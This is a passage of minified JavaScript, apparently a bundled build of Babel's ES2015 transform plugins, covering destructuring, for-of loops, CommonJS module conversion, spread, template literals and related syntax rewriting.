e&&e.__esModule?e:{default:e}}t.__esModule=!0;var i=r(3),s=n(i),a=r(2),o=n(a);t.default=function(e){function t(e){for(var t=e.declarations,r=Array.isArray(t),i=0,t=r?t:(0,o.default)(t);;){var s;if(r){if(i>=t.length)break;s=t[i++]}else{if(i=t.next(),i.done)break;s=i.value}var a=s;if(n.isPattern(a.id))return!0}return!1}function r(e){for(var t=e.elements,r=Array.isArray(t),i=0,t=r?t:(0,o.default)(t);;){var s;if(r){if(i>=t.length)break;s=t[i++]}else{if(i=t.next(),i.done)break;s=i.value}var a=s;if(n.isRestElement(a))return!0}return!1}var n=e.types,i={ReferencedIdentifier:function(e,t){t.bindings[e.node.name]&&(t.deopt=!0,e.stop())}},a=function(){function e(t){(0,s.default)(this,e),this.blockHoist=t.blockHoist,this.operator=t.operator,this.arrays={},this.nodes=t.nodes||[],this.scope=t.scope,this.file=t.file,this.kind=t.kind}
return e.prototype.buildVariableAssignment=function(e,t){var r=this.operator;n.isMemberExpression(e)&&(r="=");var i=void 0;return i=r?n.expressionStatement(n.assignmentExpression(r,e,t)):n.variableDeclaration(this.kind,[n.variableDeclarator(e,t)]),i._blockHoist=this.blockHoist,i},e.prototype.buildVariableDeclaration=function(e,t){var r=n.variableDeclaration("var",[n.variableDeclarator(e,t)]);return r._blockHoist=this.blockHoist,r},e.prototype.push=function(e,t){n.isObjectPattern(e)?this.pushObjectPattern(e,t):n.isArrayPattern(e)?this.pushArrayPattern(e,t):n.isAssignmentPattern(e)?this.pushAssignmentPattern(e,t):this.nodes.push(this.buildVariableAssignment(e,t))},e.prototype.toArray=function(e,t){return this.file.opts.loose||n.isIdentifier(e)&&this.arrays[e.name]?e:this.scope.toArray(e,t)},e.prototype.pushAssignmentPattern=function(e,t){var r=this.scope.generateUidIdentifierBasedOnNode(t),i=n.variableDeclaration("var",[n.variableDeclarator(r,t)]);i._blockHoist=this.blockHoist,this.nodes.push(i);var s=n.conditionalExpression(n.binaryExpression("===",r,n.identifier("undefined")),e.right,r),a=e.left;if(n.isPattern(a)){var o=n.expressionStatement(n.assignmentExpression("=",r,s));o._blockHoist=this.blockHoist,this.nodes.push(o),this.push(a,r)}else this.nodes.push(this.buildVariableAssignment(a,s))},e.prototype.pushObjectRest=function(e,t,r,i){for(var s=[],a=0;a<e.properties.length;a++){var o=e.properties[a];if(a>=i)break;if(!n.isRestProperty(o)){var u=o.key;n.isIdentifier(u)&&!o.computed&&(u=n.stringLiteral(o.key.name)),s.push(u)}}s=n.arrayExpression(s);var l=n.callExpression(this.file.addHelper("objectWithoutProperties"),[t,s]);this.nodes.push(this.buildVariableAssignment(r.argument,l))},e.prototype.pushObjectProperty=function(e,t){n.isLiteral(e.key)&&(e.computed=!0);var r=e.value,i=n.memberExpression(t,e.key,e.computed);n.isPattern(r)?this.push(r,i):this.nodes.push(this.buildVariableAssignment(r,i))},e.prototype.pushObjectPattern=function(e,t){if(e.properties.length||this.nodes.push(n.expressionStatement(n.callExpression(this.file.addHelper("objectDestructuringEmpty"),[t]))),e.properties.length>1&&!this.scope.isStatic(t)){var r=this.scope.generateUidIdentifierBasedOnNode(t);this.nodes.push(this.buildVariableDeclaration(r,t)),t=r}for(var i=0;i<e.properties.length;i++){var s=e.properties[i];n.isRestProperty(s)?this.pushObjectRest(e,t,s,i):this.pushObjectProperty(s,t)}},e.prototype.canUnpackArrayPattern=function(e,t){if(!n.isArrayExpression(t))return!1;if(!(e.elements.length>t.elements.length)){if(e.elements.length<t.elements.length&&!r(e))return!1;for(var s=e.elements,a=Array.isArray(s),u=0,s=a?s:(0,o.default)(s);;){var l;if(a){if(u>=s.length)break;l=s[u++]}else{if(u=s.next(),u.done)break;l=u.value}var c=l;if(!c)return!1;if(n.isMemberExpression(c))return!1}for(var f=t.elements,p=Array.isArray(f),d=0,f=p?f:(0,o.default)(f);;){var h;if(p){if(d>=f.length)break;h=f[d++]}else{if(d=f.next(),d.done)break;h=d.value}var m=h;if(n.isSpreadElement(m))return!1;if(n.isCallExpression(m))return!1;if(n.isMemberExpression(m))return!1}var y=n.getBindingIdentifiers(e),v={deopt:!1,bindings:y};return this.scope.traverse(t,i,v),!v.deopt}},e.prototype.pushUnpackedArrayPattern=function(e,t){for(var r=0;r<e.elements.length;r++){var i=e.elements[r];n.isRestElement(i)?this.push(i.argument,n.arrayExpression(t.elements.slice(r))):this.push(i,t.elements[r])}},e.prototype.pushArrayPattern=function(e,t){if(e.elements){if(this.canUnpackArrayPattern(e,t))return this.pushUnpackedArrayPattern(e,t);var i=!r(e)&&e.elements.length,s=this.toArray(t,i);n.isIdentifier(s)?t=s:(t=this.scope.generateUidIdentifierBasedOnNode(t),this.arrays[t.name]=!0,this.nodes.push(this.buildVariableDeclaration(t,s)));for(var a=0;a<e.elements.length;a++){var o=e.elements[a];if(o){var u=void 0;n.isRestElement(o)?(u=this.toArray(t),u=n.callExpression(n.memberExpression(u,n.identifier("slice")),[n.numericLiteral(a)]),o=o.argument):u=n.memberExpression(t,n.numericLiteral(a),!0),this.push(o,u)}}}},e.prototype.init=function(e,t){if(!n.isArrayExpression(t)&&!n.isMemberExpression(t)){var r=this.scope.maybeGenerateMemoised(t,!0);r&&(this.nodes.push(this.buildVariableDeclaration(r,t)),t=r)}return this.push(e,t),this.nodes},e}();return{visitor:{ExportNamedDeclaration:function(e){var r=e.get("declaration");if(r.isVariableDeclaration()&&t(r.node)){var i=[];for(var s in e.getOuterBindingIdentifiers(e)){var a=n.identifier(s);i.push(n.exportSpecifier(a,a))}e.replaceWith(r.node),e.insertAfter(n.exportNamedDeclaration(null,i))}},ForXStatement:function(e,t){var r=e.node,i=e.scope,s=r.left;if(n.isPattern(s)){var o=i.generateUidIdentifier("ref");return r.left=n.variableDeclaration("var",[n.variableDeclarator(o)]),e.ensureBlock(),void r.body.body.unshift(n.variableDeclaration("var",[n.variableDeclarator(s,o)]))}if(n.isVariableDeclaration(s)){var u=s.declarations[0].id;if(n.isPattern(u)){var l=i.generateUidIdentifier("ref");r.left=n.variableDeclaration(s.kind,[n.variableDeclarator(l,null)]);var c=[];new a({kind:s.kind,file:t,scope:i,nodes:c}).init(u,l),e.ensureBlock();var f=r.body;f.body=c.concat(f.body)}}},CatchClause:function(e,t){var r=e.node,i=e.scope,s=r.param;if(n.isPattern(s)){var o=i.generateUidIdentifier("ref");r.param=o;var u=[];new a({kind:"let",file:t,scope:i,nodes:u}).init(s,o),r.body.body=u.concat(r.body.body)}},AssignmentExpression:function(e,t){var r=e.node,i=e.scope;if(n.isPattern(r.left)){var s=[],o=new a({operator:r.operator,file:t,scope:i,nodes:s}),u=void 0;!e.isCompletionRecord()&&e.parentPath.isExpressionStatement()||(u=i.generateUidIdentifierBasedOnNode(r.right,"ref"),s.push(n.variableDeclaration("var",[n.variableDeclarator(u,r.right)])),n.isArrayExpression(r.right)&&(o.arrays[u.name]=!0)),o.init(r.left,u||r.right),u&&s.push(n.expressionStatement(u)),e.replaceWithMultiple(s)}},VariableDeclaration:function(e,r){var i=e.node,s=e.scope,u=e.parent;if(!n.isForXStatement(u)&&u&&e.container&&t(i)){for(var l=[],c=void 0,f=0;f<i.declarations.length;f++){c=i.declarations[f];var p=c.init,d=c.id,h=new a({blockHoist:i._blockHoist,nodes:l,scope:s,kind:i.kind,file:r});n.isPattern(d)?(h.init(d,p),+f!=i.declarations.length-1&&n.inherits(l[l.length-1],c)):l.push(n.inherits(h.buildVariableAssignment(c.id,c.init),c))}for(var m=[],y=l,v=Array.isArray(y),g=0,y=v?y:(0,o.default)(y);;){var b;if(v){if(g>=y.length)break;b=y[g++]}else{if(g=y.next(),g.done)break;b=g.value}var E=b,x=m[m.length-1];if(x&&n.isVariableDeclaration(x)&&n.isVariableDeclaration(E)&&x.kind===E.kind){var A;(A=x.declarations).push.apply(A,E.declarations)}else m.push(E)}for(var S=m,_=Array.isArray(S),D=0,S=_?S:(0,o.default)(S);;){var C;if(_){if(D>=S.length)break;C=S[D++]}else{if(D=S.next(),D.done)break;C=D.value}var w=C;if(w.declarations)for(var P=w.declarations,k=Array.isArray(P),F=0,P=k?P:(0,o.default)(P);;){var T;if(k){if(F>=P.length)break;T=P[F++]}else{if(F=P.next(),F.done)break;T=F.value}var O=T,B=O.id.name;s.bindings[B]&&(s.bindings[B].kind=w.kind)}}1===m.length?e.replaceWith(m[0]):e.replaceWithMultiple(m)}}}}},e.exports=t.default},function(e,t){"use strict";t.__esModule=!0,t.default=function(e){function t(e){var t=e.node,r=e.scope,n=[],i=t.right;if(!a.isIdentifier(i)||!r.hasBinding(i.name)){var s=r.generateUidIdentifier("arr");n.push(a.variableDeclaration("var",[a.variableDeclarator(s,i)])),i=s}var u=r.generateUidIdentifier("i"),l=o({BODY:t.body,KEY:u,ARR:i});a.inherits(l,t),a.ensureBlock(l);var c=a.memberExpression(i,u,!0),f=t.left;return a.isVariableDeclaration(f)?(f.declarations[0].init=c,l.body.body.unshift(f)):l.body.body.unshift(a.expressionStatement(a.assignmentExpression("=",f,c))),e.parentPath.isLabeledStatement()&&(l=a.labeledStatement(e.parentPath.node.label,l)),n.push(l),n}function r(e,t){var r=e.node,n=e.scope,s=e.parent,o=r.left,l=void 0,c=void 0;if(a.isIdentifier(o)||a.isPattern(o)||a.isMemberExpression(o))c=o;else{if(!a.isVariableDeclaration(o))throw t.buildCodeFrameError(o,i.get("unknownForHead",o.type));c=n.generateUidIdentifier("ref"),l=a.variableDeclaration(o.kind,[a.variableDeclarator(o.declarations[0].id,c)])}var f=n.generateUidIdentifier("iterator"),p=n.generateUidIdentifier("isArray"),d=u({LOOP_OBJECT:f,IS_ARRAY:p,OBJECT:r.right,INDEX:n.generateUidIdentifier("i"),ID:c});l||d.body.body.shift();var h=a.isLabeledStatement(s),m=void 0;return h&&(m=a.labeledStatement(s.label,d)),{replaceParent:h,declar:l,node:m||d,loop:d}}function n(e,t){var r=e.node,n=e.scope,s=e.parent,o=r.left,u=void 0,c=n.generateUidIdentifier("step"),f=a.memberExpression(c,a.identifier("value"));if(a.isIdentifier(o)||a.isPattern(o)||a.isMemberExpression(o))u=a.expressionStatement(a.assignmentExpression("=",o,f));else{if(!a.isVariableDeclaration(o))throw t.buildCodeFrameError(o,i.get("unknownForHead",o.type));u=a.variableDeclaration(o.kind,[a.variableDeclarator(o.declarations[0].id,f)])}var p=n.generateUidIdentifier("iterator"),d=l({ITERATOR_HAD_ERROR_KEY:n.generateUidIdentifier("didIteratorError"),ITERATOR_COMPLETION:n.generateUidIdentifier("iteratorNormalCompletion"),ITERATOR_ERROR_KEY:n.generateUidIdentifier("iteratorError"),ITERATOR_KEY:p,STEP_KEY:c,OBJECT:r.right,BODY:null}),h=a.isLabeledStatement(s),m=d[3].block.body,y=m[0];return h&&(m[0]=a.labeledStatement(s.label,y)),{replaceParent:h,declar:u,loop:y,node:d}}var i=e.messages,s=e.template,a=e.types,o=s("\n    for (var KEY = 0; KEY < ARR.length; KEY++) BODY;\n  "),u=s("\n    for (var LOOP_OBJECT = OBJECT,\n             IS_ARRAY = Array.isArray(LOOP_OBJECT),\n             INDEX = 0,\n             LOOP_OBJECT = IS_ARRAY ? LOOP_OBJECT : LOOP_OBJECT[Symbol.iterator]();;) {\n      var ID;\n      if (IS_ARRAY) {\n        if (INDEX >= LOOP_OBJECT.length) break;\n        ID = LOOP_OBJECT[INDEX++];\n      } else {\n        INDEX = LOOP_OBJECT.next();\n        if (INDEX.done) break;\n        ID = INDEX.value;\n      }\n    }\n  "),l=s("\n    var ITERATOR_COMPLETION = true;\n    var ITERATOR_HAD_ERROR_KEY = false;\n    var ITERATOR_ERROR_KEY = undefined;\n    try {\n      for (var ITERATOR_KEY = OBJECT[Symbol.iterator](), STEP_KEY; !(ITERATOR_COMPLETION = (STEP_KEY = ITERATOR_KEY.next()).done); ITERATOR_COMPLETION = true) {\n      }\n    } catch (err) {\n      ITERATOR_HAD_ERROR_KEY = true;\n      ITERATOR_ERROR_KEY = err;\n    } finally {\n      try {\n        if (!ITERATOR_COMPLETION && ITERATOR_KEY.return) {\n          ITERATOR_KEY.return();\n        }\n      } finally {\n        if (ITERATOR_HAD_ERROR_KEY) {\n          throw ITERATOR_ERROR_KEY;\n        }\n      }\n    }\n  ");return{visitor:{ForOfStatement:function(e,i){if(e.get("right").isArrayExpression())return e.parentPath.isLabeledStatement()?e.parentPath.replaceWithMultiple(t(e)):e.replaceWithMultiple(t(e));var s=n;i.opts.loose&&(s=r);var o=e.node,u=s(e,i),l=u.declar,c=u.loop,f=c.body;e.ensureBlock(),l&&f.body.push(l),f.body=f.body.concat(o.body.body),a.inherits(c,o),a.inherits(c.body,o.body),u.replaceParent?(e.parentPath.replaceWithMultiple(u.node),e.remove()):e.replaceWithMultiple(u.node)}}}},e.exports=t.default},function(e,t,r){"use strict";t.__esModule=!0,t.default=function(){return{visitor:{FunctionExpression:{exit:function(e){if("value"!==e.key&&!e.parentPath.isObjectProperty()){var t=(0,i.default)(e);t&&e.replaceWith(t)}}},ObjectProperty:function(e){var t=e.get("value");if(t.isFunction()){var r=(0,i.default)(t);r&&t.replaceWith(r)}}}}};var n=r(40),i=function(e){return e&&e.__esModule?e:{default:e}}(n);e.exports=t.default},function(e,t){"use strict";t.__esModule=!0,t.default=function(){return{visitor:{NumericLiteral:function(e){var t=e.node;t.extra&&/^0[ob]/i.test(t.extra.raw)&&(t.extra=void 0)},StringLiteral:function(e){var t=e.node;t.extra&&/\\[u]/gi.test(t.extra.raw)&&(t.extra=void 0)}}}},e.exports=t.default},function(e,t,r){"use strict";function n(e){return e&&e.__esModule?e:{default:e}}t.__esModule=!0;var i=r(14),s=n(i),a=r(9),o=n(a),u=r(2),l=n(u),c=r(10),f=n(c);t.default=function(){var e=(0,f.default)(),t={ReferencedIdentifier:function(e){var t=e.node.name,r=this.remaps[t];if(r&&this.scope.getBinding(t)===e.scope.getBinding(t)){if(e.parentPath.isCallExpression({callee:e.node}))e.replaceWith(g.sequenceExpression([g.numericLiteral(0),r]));else if(e.isJSXIdentifier()&&g.isMemberExpression(r)){var n=r.object,i=r.property;e.replaceWith(g.JSXMemberExpression(g.JSXIdentifier(n.name),g.JSXIdentifier(i.name)))}else e.replaceWith(r);this.requeueInParent(e)}},AssignmentExpression:function(t){var r=t.node;if(!r[e]){var n=t.get("left");if(n.isIdentifier()){var i=n.node.name,s=this.exports[i];if(!s)return;if(this.scope.getBinding(i)!==t.scope.getBinding(i))return;r[e]=!0;for(var a=s,o=Array.isArray(a),u=0,a=o?a:(0,l.default)(a);;){var c;if(o){if(u>=a.length)break;c=a[u++]}else{if(u=a.next(),u.done)break;c=u.value}r=S(c,r).expression}t.replaceWith(r),this.requeueInParent(t)}else if(n.isObjectPattern())for(var f=n.node.properties,p=Array.isArray(f),d=0,f=p?f:(0,l.default)(f);;){var h;if(p){if(d>=f.length)break;h=f[d++]}else{if(d=f.next(),d.done)break;h=d.value}var m=h,y=m.value.name,v=this.exports[y];if(v){if(this.scope.getBinding(y)!==t.scope.getBinding(y))return;r[e]=!0,t.insertAfter(S(g.identifier(y),g.identifier(y)))}}else if(n.isArrayPattern())for(var b=n.node.elements,E=Array.isArray(b),x=0,b=E?b:(0,l.default)(b);;){var A;if(E){if(x>=b.length)break;A=b[x++]}else{if(x=b.next(),x.done)break;A=x.value}var _=A;if(_){var D=_.name,C=this.exports[D];if(C){if(this.scope.getBinding(D)!==t.scope.getBinding(D))return;r[e]=!0,t.insertAfter(S(g.identifier(D),g.identifier(D)))}}}}},UpdateExpression:function(e){var t=e.get("argument");if(t.isIdentifier()){var r=t.node.name;if(this.exports[r]&&this.scope.getBinding(r)===e.scope.getBinding(r)){var n=g.assignmentExpression(e.node.operator[0]+"=",t.node,g.numericLiteral(1));if(e.parentPath.isExpressionStatement()&&!e.isCompletionRecord()||e.node.prefix)return e.replaceWith(n),void this.requeueInParent(e);var i=[];i.push(n);var s=void 0;s="--"===e.node.operator?"+":"-",i.push(g.binaryExpression(s,t.node,g.numericLiteral(1))),e.replaceWithMultiple(g.sequenceExpression(i))}}}};return{inherits:y.default,visitor:{ThisExpression:function(e,t){this.ranCommonJS||!0===t.opts.allowTopLevelThis||e.findParent(function(e){return!e.is("shadow")&&D.indexOf(e.type)>=0})||e.replaceWith(g.identifier("undefined"))},Program:{exit:function(e){function r(t,r){var n=C[t];if(n)return n;var i=e.scope.generateUidIdentifier((0,p.basename)(t,(0,p.extname)(t))),s=g.variableDeclaration("var",[g.variableDeclarator(i,b(g.stringLiteral(t)).expression)]);return h[t]&&(s.loc=h[t].loc),"number"==typeof r&&r>0&&(s._blockHoist=r),v.push(s),C[t]=i}function n(e,t,r){var n=e[t]||[];e[t]=n.concat(r)}this.ranCommonJS=!0;var i=!!this.opts.strict,a=!!this.opts.noInterop,u=e.scope;u.rename("module"),u.rename("exports"),u.rename("require");for(var c=!1,f=!1,d=e.get("body"),h=(0,o.default)(null),m=(0,o.default)(null),y=(0,o.default)(null),v=[],D=(0,o.default)(null),C=(0,o.default)(null),w=d,P=Array.isArray(w),k=0,w=P?w:(0,l.default)(w);;){var F;if(P){if(k>=w.length)break;F=w[k++]}else{if(k=w.next(),k.done)break;F=k.value}var T=F;if(T.isExportDeclaration()){c=!0;for(var O=[].concat(T.get("declaration"),T.get("specifiers")),B=O,R=Array.isArray(B),I=0,B=R?B:(0,l.default)(B);;){var M;if(R){if(I>=B.length)break;M=B[I++]}else{if(I=B.next(),I.done)break;M=I.value}var N=M;if(N.getBindingIdentifiers().__esModule)throw N.buildCodeFrameError('Illegal export "__esModule"')}}if(T.isImportDeclaration()){var L;f=!0;var j=T.node.source.value,U=h[j]||{specifiers:[],maxBlockHoist:0,loc:T.node.loc};(L=U.specifiers).push.apply(L,T.node.specifiers),"number"==typeof T.node._blockHoist&&(U.maxBlockHoist=Math.max(T.node._blockHoist,U.maxBlockHoist)),h[j]=U,T.remove()}else if(T.isExportDefaultDeclaration()){var V=T.get("declaration");if(V.isFunctionDeclaration()){var G=V.node.id,W=g.identifier("default");G?(n(m,G.name,W),v.push(S(W,G)),T.replaceWith(V.node)):(v.push(S(W,g.toExpression(V.node))),T.remove())}else if(V.isClassDeclaration()){var Y=V.node.id,q=g.identifier("default");Y?(n(m,Y.name,q),T.replaceWithMultiple([V.node,S(q,Y)])):(T.replaceWith(S(q,g.toExpression(V.node))),T.parentPath.requeue(T.get("expression.left")))}else T.replaceWith(S(g.identifier("default"),V.node)),T.parentPath.requeue(T.get("expression.left"))}else if(T.isExportNamedDeclaration()){var K=T.get("declaration");if(K.node){if(K.isFunctionDeclaration()){var H=K.node.id;n(m,H.name,H),v.push(S(H,H)),T.replaceWith(K.node)}else if(K.isClassDeclaration()){var J=K.node.id;n(m,J.name,J),T.replaceWithMultiple([K.node,S(J,J)]),y[J.name]=!0}else if(K.isVariableDeclaration()){for(var X=K.get("declarations"),z=X,$=Array.isArray(z),Q=0,z=$?z:(0,l.default)(z);;){var Z;if($){if(Q>=z.length)break;Z=z[Q++]}else{if(Q=z.next(),Q.done)break;Z=Q.value}var ee=Z,te=ee.get("id"),re=ee.get("init"),ne=[];if(re.node||re.replaceWith(g.identifier("undefined")),te.isIdentifier())n(m,te.node.name,te.node),re.replaceWith(S(te.node,re.node).expression),y[te.node.name]=!0;else if(te.isObjectPattern())for(var ie=0;ie<te.node.properties.length;ie++){var se=te.node.properties[ie],ae=se.value;g.isAssignmentPattern(ae)?ae=ae.left:g.isRestProperty(se)&&(ae=se.argument),n(m,ae.name,ae),ne.push(S(ae,ae)),y[ae.name]=!0}else if(te.isArrayPattern()&&te.node.elements)for(var oe=0;oe<te.node.elements.length;oe++){var ue=te.node.elements[oe];if(ue){g.isAssignmentPattern(ue)?ue=ue.left:g.isRestElement(ue)&&(ue=ue.argument);var le=ue.name;n(m,le,ue),ne.push(S(ue,ue)),y[le]=!0}}T.insertAfter(ne)}T.replaceWith(K.node)}continue}var ce=T.get("specifiers"),fe=[],pe=T.node.source;if(pe)for(var de=r(pe.value,T.node._blockHoist),he=ce,me=Array.isArray(he),ye=0,he=me?he:(0,l.default)(he);;){var ve;if(me){if(ye>=he.length)break;ve=he[ye++]}else{if(ye=he.next(),ye.done)break;ve=ye.value}var ge=ve;ge.isExportNamespaceSpecifier()||ge.isExportDefaultSpecifier()||ge.isExportSpecifier()&&(a||"default"!==ge.node.local.name?v.push(x(g.stringLiteral(ge.node.exported.name),g.memberExpression(de,ge.node.local))):v.push(x(g.stringLiteral(ge.node.exported.name),g.memberExpression(g.callExpression(this.addHelper("interopRequireDefault"),[de]),ge.node.local))),y[ge.node.exported.name]=!0)}else for(var be=ce,Ee=Array.isArray(be),xe=0,be=Ee?be:(0,l.default)(be);;){var Ae;if(Ee){if(xe>=be.length)break;Ae=be[xe++]}else{if(xe=be.next(),xe.done)break;Ae=xe.value}var Se=Ae;Se.isExportSpecifier()&&(n(m,Se.node.local.name,Se.node.exported),y[Se.node.exported.name]=!0,fe.push(S(Se.node.exported,Se.node.local)))}T.replaceWithMultiple(fe)}else if(T.isExportAllDeclaration()){var _e=_({OBJECT:r(T.node.source.value,T.node._blockHoist)});_e.loc=T.node.loc,v.push(_e),T.remove()}}for(var De in h){var Ce=h[De],O=Ce.specifiers,we=Ce.maxBlockHoist;if(O.length){for(var Pe=r(De,we),ke=void 0,Fe=0;Fe<O.length;Fe++){var Te=O[Fe];if(g.isImportNamespaceSpecifier(Te)){if(i||a)D[Te.local.name]=Pe;else{var Oe=g.variableDeclaration("var",[g.variableDeclarator(Te.local,g.callExpression(this.addHelper("interopRequireWildcard"),[Pe]))]);we>0&&(Oe._blockHoist=we),v.push(Oe)}ke=Te.local}else g.isImportDefaultSpecifier(Te)&&(O[Fe]=g.importSpecifier(Te.local,g.identifier("default")))}for(var Be=O,Re=Array.isArray(Be),Ie=0,Be=Re?Be:(0,l.default)(Be);;){var Me;if(Re){if(Ie>=Be.length)break;Me=Be[Ie++]}else{if(Ie=Be.next(),Ie.done)break;Me=Ie.value}var Ne=Me;if(g.isImportSpecifier(Ne)){var Le=Pe;if("default"===Ne.imported.name)if(ke)Le=ke;else if(!a){Le=ke=e.scope.generateUidIdentifier(Pe.name);var je=g.variableDeclaration("var",[g.variableDeclarator(Le,g.callExpression(this.addHelper("interopRequireDefault"),[Pe]))]);we>0&&(je._blockHoist=we),v.push(je)}D[Ne.local.name]=g.memberExpression(Le,g.cloneWithoutLoc(Ne.imported))}}}else{var Ue=b(g.stringLiteral(De));Ue.loc=h[De].loc,v.push(Ue)}}if(f&&(0,s.default)(y).length)for(var Ve=(0,s.default)(y),Ge=0;Ge<Ve.length;Ge+=100)!function(e){var t=Ve.slice(e,e+100),r=g.identifier("undefined");t.forEach(function(e){r=S(g.identifier(e),r).expression});var n=g.expressionStatement(r);n._blockHoist=3,v.unshift(n)}(Ge);if(c&&!i){var We=E;this.opts.loose&&(We=A);var Ye=We();Ye._blockHoist=3,v.unshift(Ye)}e.unshiftContainer("body",v),e.traverse(t,{remaps:D,scope:u,exports:m,requeueInParent:function(t){return e.requeue(t)}})}}}}};var p=r(19),d=r(4),h=n(d),m=r(216),y=n(m),v=r(1),g=function(e){if(e&&e.__esModule)return e;var t={};if(null!=e)for(var r in e)Object.prototype.hasOwnProperty.call(e,r)&&(t[r]=e[r]);return t.default=e,t}(v),b=(0,h.default)("\n  require($0);\n"),E=(0,h.default)('\n  Object.defineProperty(exports, "__esModule", {\n    value: true\n  });\n'),x=(0,h.default)("\n  Object.defineProperty(exports, $0, {\n    enumerable: true,\n    get: function () {\n      return $1;\n    }\n  });\n"),A=(0,h.default)("\n  exports.__esModule = true;\n"),S=(0,h.default)("\n  exports.$0 = $1;\n"),_=(0,h.default)('\n  Object.keys(OBJECT).forEach(function (key) {\n    if (key === "default" || key === "__esModule") return;\n    Object.defineProperty(exports, key, {\n      enumerable: true,\n      get: function () {\n        return OBJECT[key];\n      }\n    });\n  });\n'),D=["FunctionExpression","FunctionDeclaration","ClassProperty","ClassMethod","ObjectMethod"];e.exports=t.default},function(e,t,r){"use strict";function n(e){return e&&e.__esModule?e:{default:e}}t.__esModule=!0;var i=r(2),s=n(i),a=r(10),o=n(a);t.default=function(e){function t(e,t,r,n,i){new l.default({getObjectRef:n,methodNode:t,methodPath:e,isStatic:!0,scope:r,file:i}).replace()}var r=e.types,n=(0,o.default)();return{visitor:{Super:function(e){var t=e.findParent(function(e){return e.isObjectExpression()});t&&(t.node[n]=!0)},ObjectExpression:{exit:function(e,i){if(e.node[n]){for(var a=void 0,o=function(){return a=a||e.scope.generateUidIdentifier("obj")},u=e.get("properties"),l=u,c=Array.isArray(l),f=0,l=c?l:(0,s.default)(l);;){var p;if(c){if(f>=l.length)break;p=l[f++]}else{if(f=l.next(),f.done)break;p=f.value}var d=p;d.isObjectProperty()&&(d=d.get("value")),t(d,d.node,e.scope,o,i)}a&&(e.scope.push({id:a}),e.replaceWith(r.assignmentExpression("=",a,e.node)))}}}}}};var u=r(193),l=n(u);e.exports=t.default},function(e,t,r){"use strict";function n(e){if(e&&e.__esModule)return e;var t={};if(null!=e)for(var r in e)Object.prototype.hasOwnProperty.call(e,r)&&(t[r]=e[r]);return t.default=e,t}t.__esModule=!0;var i=r(2),s=function(e){return e&&e.__esModule?e:{default:e}}(i);t.default=function(){return{visitor:a.visitors.merge([{ArrowFunctionExpression:function(e){for(var t=e.get("params"),r=t,n=Array.isArray(r),i=0,r=n?r:(0,s.default)(r);;){var a;if(n){if(i>=r.length)break;a=r[i++]}else{if(i=r.next(),i.done)break;a=i.value}var o=a;if(o.isRestElement()||o.isAssignmentPattern()){e.arrowFunctionToShadowed();break}}}},u.visitor,p.visitor,c.visitor])}};var a=r(7),o=r(334),u=n(o),l=r(333),c=n(l),f=r(335),p=n(f);e.exports=t.default},function(e,t,r){"use strict";t.__esModule=!0,t.default=function(){return{visitor:{ObjectMethod:function(e){var t=e.node;if("method"===t.kind){var r=i.functionExpression(null,t.params,t.body,t.generator,t.async);r.returnType=t.returnType,e.replaceWith(i.objectProperty(t.key,r,t.computed))}},ObjectProperty:function(e){var t=e.node;t.shorthand&&(t.shorthand=!1)}}}};var n=r(1),i=function(e){if(e&&e.__esModule)return e;var t={};if(null!=e)for(var r in e)Object.prototype.hasOwnProperty.call(e,r)&&(t[r]=e[r]);return t.default=e,t}(n);e.exports=t.default},function(e,t,r){"use strict";t.__esModule=!0;var n=r(2),i=function(e){return e&&e.__esModule?e:{default:e}}(n);t.default=function(e){function t(e,t,r){return r.opts.loose&&!s.isIdentifier(e.argument,{name:"arguments"})?e.argument:t.toArray(e.argument,!0)}function r(e){for(var t=0;t<e.length;t++)if(s.isSpreadElement(e[t]))return!0;return!1}function n(e,r,n){function a(){u.length&&(o.push(s.arrayExpression(u)),u=[])}for(var o=[],u=[],l=e,c=Array.isArray(l),f=0,l=c?l:(0,i.default)(l);;){var p;if(c){if(f>=l.length)break;p=l[f++]}else{if(f=l.next(),f.done)break;p=f.value}var d=p;s.isSpreadElement(d)?(a(),o.push(t(d,r,n))):u.push(d)}return a(),o}var s=e.types;return{visitor:{ArrayExpression:function(e,t){var i=e.node,a=e.scope,o=i.elements;if(r(o)){var u=n(o,a,t),l=u.shift();s.isArrayExpression(l)||(u.unshift(l),l=s.arrayExpression([])),e.replaceWith(s.callExpression(s.memberExpression(l,s.identifier("concat")),u))}},CallExpression:function(e,t){var i=e.node,a=e.scope,o=i.arguments;if(r(o)){var u=e.get("callee");if(!u.isSuper()){var l=s.identifier("undefined");i.arguments=[];var c=void 0;c=1===o.length&&"arguments"===o[0].argument.name?[o[0].argument]:n(o,a,t);var f=c.shift();c.length?i.arguments.push(s.callExpression(s.memberExpression(f,s.identifier("concat")),c)):i.arguments.push(f);var p=i.callee;if(u.isMemberExpression()){var d=a.maybeGenerateMemoised(p.object);d?(p.object=s.assignmentExpression("=",d,p.object),l=d):l=p.object,s.appendToMemberExpression(p,s.identifier("apply"))}else i.callee=s.memberExpression(i.callee,s.identifier("apply"));s.isSuper(l)&&(l=s.thisExpression()),i.arguments.unshift(l)}}},NewExpression:function(e,t){var i=e.node,a=e.scope,o=i.arguments;if(r(o)){var u=n(o,a,t),l=s.arrayExpression([s.nullLiteral()]);o=s.callExpression(s.memberExpression(l,s.identifier("concat")),u),e.replaceWith(s.newExpression(s.callExpression(s.memberExpression(s.memberExpression(s.memberExpression(s.identifier("Function"),s.identifier("prototype")),s.identifier("bind")),s.identifier("apply")),[i.callee,o]),[]))}}}}},e.exports=t.default},function(e,t,r){"use strict";function n(e){if(e&&e.__esModule)return e;var t={};if(null!=e)for(var r in e)Object.prototype.hasOwnProperty.call(e,r)&&(t[r]=e[r]);return t.default=e,t}t.__esModule=!0,t.default=function(){return{visitor:{RegExpLiteral:function(e){var t=e.node;s.is(t,"y")&&e.replaceWith(o.newExpression(o.identifier("RegExp"),[o.stringLiteral(t.pattern),o.stringLiteral(t.flags)]))}}}};var i=r(192),s=n(i),a=r(1),o=n(a);e.exports=t.default},function(e,t,r){"use strict";t.__esModule=!0;var n=r(2),i=function(e){return e&&e.__esModule?e:{default:e}}(n);t.default=function(e){function t(e){return n.isLiteral(e)&&"string"==typeof e.value}function r(e,t){return n.binaryExpression("+",e,t)}var n=e.types;return{visitor:{TaggedTemplateExpression:function(e,t){for(var r=e.node,s=r.quasi,a=[],o=[],u=[],l=s.quasis,c=Array.isArray(l),f=0,l=c?l:(0,i.default)(l);;){var p;if(c){if(f>=l.length)break;p=l[f++]}else{if(f=l.next(),f.done)break;p=f.value}var d=p;o.push(n.stringLiteral(d.value.cooked)),u.push(n.stringLiteral(d.value.raw))}o=n.arrayExpression(o),u=n.arrayExpression(u);var h="taggedTemplateLiteral";t.opts.loose&&(h+="Loose");var 